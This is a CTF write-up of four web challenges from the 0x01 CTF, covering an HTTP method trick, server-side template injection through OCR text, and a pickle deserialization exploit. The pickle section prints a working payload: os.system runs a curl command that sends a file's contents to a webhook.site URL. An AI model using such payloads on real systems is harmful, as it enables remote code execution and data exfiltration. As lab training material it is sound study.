CTF writeups

0xGCD Web Writeups

Writeups for 0x01 CTF (ENSAM)

1 - Please Solve Web (19 Solves)

Website: (https://0xgcd-plssolve.chals.io/smth)

curl -s 'https://0xgcd-plssolve.chals.io/smth' |grep -oE '0xGDC{.*?}'

Or Simply visit the website and inspect the source code.

0xGDC{CTF_4rticl3_4b0ut_4rticl3s}

2 - WHAT (12 Solves)

Website: (https://0xgcd-what.chals.io/)

curl -s -i 'https://0xgcd-what.chals.io/' -X OPTIONS

We noticed that the server is responding with the Allow: OPTIONS, FLAG header. Let’s try to send a request with the FLAG method.

curl -s -i 'https://0xgcd-what.chals.io/' -X FLAG

alt text

0xGCD{M3th0ds_Unl0ck_P0w3r}

3 - Mokhalal (0 Solves)

Website: (https://0xgcd-mokhalal.chals.io/)

This challenge was about Pickle Deserialization. The website was vulnerable to a Pickle Deserialization attack. We sent a request to the server with a Pickle payload to get the flag.

/api/load   endpoint was vulnerable to Pickle Deserialization.

try:
    loaded_session = pickle.load(file)
    session.update(loaded_session)
except:
    return jsonify({"message": "Failed"})

The pickle.load() function was used to deserialize the session object. We crafted a payload to execute the os.system('cat flag.txt') command.

Payload:

Craft a pkl file with the following content: curl -s https://webhook.site/[id]?$(cat flag.txt)

import pickle, sys, base64, os


class PickleRce(object):
    def __reduce__(self):
        return (os.system,(f"curl -s https://webhook.site/[id]?$(cat flag.txt)",))

with open("s.pkl", "wb") as f:
    pickle.dump(PickleRce(), f)

after that, we uploaded the file to the server using the following command:

curl -X POST 'https://0xgcd-mokhalal.chals.io/api/load' -F "file=@s.pkl"

alt text

The flag was sent to the webhook site.

alt text

0xGCD{Unp1ckl3_Th3_S3cr3t_R3lish}

4 - OCRti (0 Solves)

Website: (https://0xgcd-ocrti.chals.io/)

1 - Users uploaded an image containing some text. The server would extract the text using OCR (Optical Character Recognition) and render it within a template using Jinja2, a Python templating engine.

2 - The issue arose because the server rendered the OCR-detected text directly into a template without sanitizing it. This allowed us to inject Jinja2 code into the text extracted by the OCR, leading to a template injection vulnerability.

3 - Instead of using a complex SSTI payload that could interfere with OCR detection (e.g., symbols and special characters might not be recognized correctly), the challenge could be solved with a simpler payload like:

{{ flag }}

4 - The challenge intended for the flag to be passed as a parameter to the template. However, due to a logic flaw, the flag was not passed correctly, leaving it accessible through the default Jinja2 context.

Note!!: During exploration, many users discovered a potential SQL Injection vulnerability in the login functionality. However, exploiting it was made practically impossible due to the following validation condition:

is_valid = (len(username) == randint(0, 10)) and (len(password) == randint(0, 99999))

The validation required the length of the username and password to match randomly generated numbers, making it infeasible to predict or control their values. This effectively rendered the SQL Injection path a red herring.

from PIL import Image, ImageDraw, ImageFont, ImageEnhance
import requests

def get_token():
    return "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJwYXNzd29yZCI6InVzZXIiLCJyb2xlIjoidXNlciIsImV4cCI6MTc2NTA1OTIxMy42Njc4NTI5fQ.A-7PYv5DAYPF8834JrePUjNqyZSPVxVhjGvhujcosgA" # Change this to a valid token

def generate_image(text, output_path):
    width, height = 800, 200
    background_color = (255, 255, 255) 
    image = Image.new('RGB', (width, height), background_color)
    draw = ImageDraw.Draw(image)
    try:
        font = ImageFont.truetype("DejaVuSans-Bold.ttf", 60) # font to make the text more readable for OCR
    except IOError:
        font = ImageFont.load_default() 
    text_color = (0, 0, 0) 
    text_bbox = draw.textbbox((0, 0), text, font=font)
    text_width, text_height = text_bbox[2] - text_bbox[0], text_bbox[3] - text_bbox[1]
    text_x = (width - text_width) // 2
    text_y = (height - text_height) // 2
    draw.text((text_x, text_y), text, fill=text_color, font=font)
    enhancer = ImageEnhance.Contrast(image)
    image = enhancer.enhance(2.0) 
    image.save(output_path)

def send_image_to_server(image_path, url):
    with open(image_path, 'rb') as image_file:
        files = {'file': image_file}
        cookies = {'token': get_token()}
        response = requests.post(url, files=files, cookies=cookies)
    return response

output_path = "./output_image.png"
payload = "{{ flag }}"

generate_image(payload, output_path) 
response = send_image_to_server(output_path, "https://0xgcd-ocrti.chals.io/home")
print(response.status_code, response.text)

So we crafted a payload that would be rendered by the Jinja2 template engine and sent it to the server. The server would then extract the text from the image and render it within the template, allowing us to inject Jinja2 code.

{{ flag }}

The server would render the flag within the template:

alt text

0xGCD{Th!nGz_H4pp3n$D0n7_P@n!c#f!r3!}

Conclusion!!: Congratulations For The winners and participants who solved the challenges!
Good luck with your future CTFs and happy hacking!